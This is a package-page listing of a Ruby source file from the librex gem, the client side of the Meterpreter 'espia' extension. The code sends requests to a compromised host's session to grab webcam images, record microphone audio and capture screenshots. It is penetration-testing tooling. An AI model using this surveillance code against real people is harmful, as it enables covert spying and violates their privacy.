Sha256: 9c237fa7143c444a947449c7d1f39890635230b5edf9c998b8883e7f3a0e4a32
Contents?: true
Size: 1.09 KB
Versions: 2
Compression:
Stored size: 1.09 KB
Contents
#!/usr/bin/env ruby # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/espia/tlv' module Rex module Post module Meterpreter module Extensions module Espia ### # # This meterpreter extensions interface that is capable # grab webcam frame and recor mic audio # ### class Espia < Extension def initialize(client) super(client, 'espia') client.register_extension_aliases( [ { 'name' => 'espia', 'ext' => self }, ]) end def espia_video_get_dev_image() request = Packet.create_request('espia_video_get_dev_image') response = client.send_request(request) return true end def espia_audio_get_dev_audio(rsecs) request = Packet.create_request('espia_audio_get_dev_audio') request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs) response = client.send_request(request) return true end def espia_image_get_dev_screen request = Packet.create_request( 'espia_image_get_dev_screen' ) response = client.send_request( request ) if( response.result == 0 ) return response.get_tlv_value( TLV_TYPE_DEV_SCREEN ) end return nil end end end; end; end; end; end
Version data entries
2 entries across 2 versions & 1 rubygems
Version | Path |
---|---|
librex-0.0.68 | lib/rex/post/meterpreter/extensions/espia/espia.rb |
librex-0.0.66 | lib/rex/post/meterpreter/extensions/espia/espia.rb |